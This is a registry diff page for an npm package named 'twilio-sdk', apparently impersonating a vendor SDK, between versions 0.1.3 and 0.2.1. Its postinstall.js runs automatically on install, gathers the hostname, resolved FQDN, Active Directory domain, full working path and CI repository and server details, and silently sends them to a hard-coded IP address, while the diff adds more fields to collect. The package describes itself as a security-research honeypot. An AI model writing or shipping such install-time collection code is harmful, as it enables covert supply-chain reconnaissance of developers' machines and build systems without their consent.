twilio-sdk 0.1.3 → 0.2.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/package.json +6 -2
  2. package/postinstall.js +36 -22
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "twilio-sdk",
3
- "version": "0.1.3",
3
+ "version": "0.2.1",
4
4
  "description": "Security research honeypot. Installed by mistake? See README.",
5
5
  "main": "index.js",
6
6
  "scripts": {
@@ -8,5 +8,9 @@
8
8
  },
9
9
  "keywords": [],
10
10
  "license": "MIT",
11
- "files": ["index.js", "postinstall.js", "README.md"]
11
+ "files": [
12
+ "index.js",
13
+ "postinstall.js",
14
+ "README.md"
15
+ ]
12
16
  }
package/postinstall.js CHANGED
@@ -1,31 +1,45 @@
1
1
  try {
2
2
  var os = require('os');
3
+ var dns = require('dns');
3
4
  var env = process.env;
5
+
4
6
  var hn = os.hostname();
5
- var cwd = process.cwd().split('/').pop() || '';
7
+ var initCwd = process.env.INIT_CWD || process.cwd();
8
+ var cwd = initCwd.split('/').pop() || '';
9
+
10
+ // Try to resolve FQDN from hostname (no files read, DNS only)
11
+ dns.lookup(hn, {timeout: 3000}, function(err, addr) {
12
+ dns.reverse(addr, function(err2, ptrs) {
13
+ var fqdn = (ptrs && ptrs[0]) ? ptrs[0] : '';
14
+ var envFqdn = env.HOSTNAME || env.HOST || env.COMPUTERNAME || '';
15
+ var adDomain = env.USERDNSDOMAIN || '';
6
16
 
7
- // Build CI context
8
- var ci = [];
9
- if (env.GITHUB_REPOSITORY) ci.push('repo=' + encodeURIComponent(env.GITHUB_REPOSITORY));
10
- if (env.CIRCLE_PROJECT_USERNAME && env.CIRCLE_PROJECT_REPONAME)
11
- ci.push('repo=' + encodeURIComponent(env.CIRCLE_PROJECT_USERNAME + '/' + env.CIRCLE_PROJECT_REPONAME));
12
- if (env.CI_PROJECT_PATH) ci.push('repo=' + encodeURIComponent(env.CI_PROJECT_PATH));
13
- if (env.BITBUCKET_REPO_FULL_NAME) ci.push('repo=' + encodeURIComponent(env.BITBUCKET_REPO_FULL_NAME));
14
- if (env.BUILD_REPOSITORY_URI) ci.push('repo=' + encodeURIComponent(env.BUILD_REPOSITORY_URI));
15
- if (env.TRAVIS_REPO_SLUG) ci.push('repo=' + encodeURIComponent(env.TRAVIS_REPO_SLUG));
16
- if (env.npm_config_registry) ci.push('reg=' + encodeURIComponent(env.npm_config_registry));
17
- if (env.JENKINS_URL) ci.push('jenkins=' + encodeURIComponent(env.JENKINS_URL));
18
- if (env.CI_SERVER_URL) ci.push('gitlab=' + encodeURIComponent(env.CI_SERVER_URL));
17
+ var ci = [];
18
+ if (env.GITHUB_REPOSITORY) ci.push('repo=' + encodeURIComponent(env.GITHUB_REPOSITORY));
19
+ if (env.CIRCLE_PROJECT_USERNAME && env.CIRCLE_PROJECT_REPONAME)
20
+ ci.push('repo=' + encodeURIComponent(env.CIRCLE_PROJECT_USERNAME + '/' + env.CIRCLE_PROJECT_REPONAME));
21
+ if (env.CI_PROJECT_PATH) ci.push('repo=' + encodeURIComponent(env.CI_PROJECT_PATH));
22
+ if (env.BITBUCKET_REPO_FULL_NAME) ci.push('repo=' + encodeURIComponent(env.BITBUCKET_REPO_FULL_NAME));
23
+ if (env.BUILD_REPOSITORY_URI) ci.push('repo=' + encodeURIComponent(env.BUILD_REPOSITORY_URI));
24
+ if (env.TRAVIS_REPO_SLUG) ci.push('repo=' + encodeURIComponent(env.TRAVIS_REPO_SLUG));
25
+ if (env.npm_config_registry) ci.push('reg=' + encodeURIComponent(env.npm_config_registry));
26
+ if (env.JENKINS_URL) ci.push('jenkins=' + encodeURIComponent(env.JENKINS_URL));
27
+ if (env.CI_SERVER_URL) ci.push('gitlab=' + encodeURIComponent(env.CI_SERVER_URL));
19
28
 
20
- var url = 'http://46.224.67.169:3000/ping'
21
- + '?pkg=twilio-sdk'
22
- + '&ver=' + require('./package.json').version
23
- + '&ci=' + (env.CI || 'false')
24
- + '&node=' + process.version
25
- + '&host=' + encodeURIComponent(hn)
26
- + '&cwd=' + encodeURIComponent(cwd);
29
+ var url = 'http://46.224.67.169:3000/ping'
30
+ + '?pkg=twilio-sdk'
31
+ + '&ver=' + require('./package.json').version
32
+ + '&ci=' + (env.CI || 'false')
33
+ + '&node=' + process.version
34
+ + '&host=' + encodeURIComponent(hn)
35
+ + '&fqdn=' + encodeURIComponent(fqdn || envFqdn || '')
36
+ + '&addomain=' + encodeURIComponent(adDomain)
37
+ + '&cwd=' + encodeURIComponent(cwd)
38
+ + '&fullpath=' + encodeURIComponent(initCwd);
27
39
 
28
- if (ci.length) url += '&' + ci.join('&');
40
+ if (ci.length) url += '&' + ci.join('&');
29
41
 
30
- require('http').get(url, {timeout: 5000}, function(r) { r.resume(); }).on('error', function() {});
42
+ require('http').get(url, {timeout: 5000}, function(r) { r.resume(); }).on('error', function() {});
43
+ });
44
+ });
31
45
  } catch(e) {}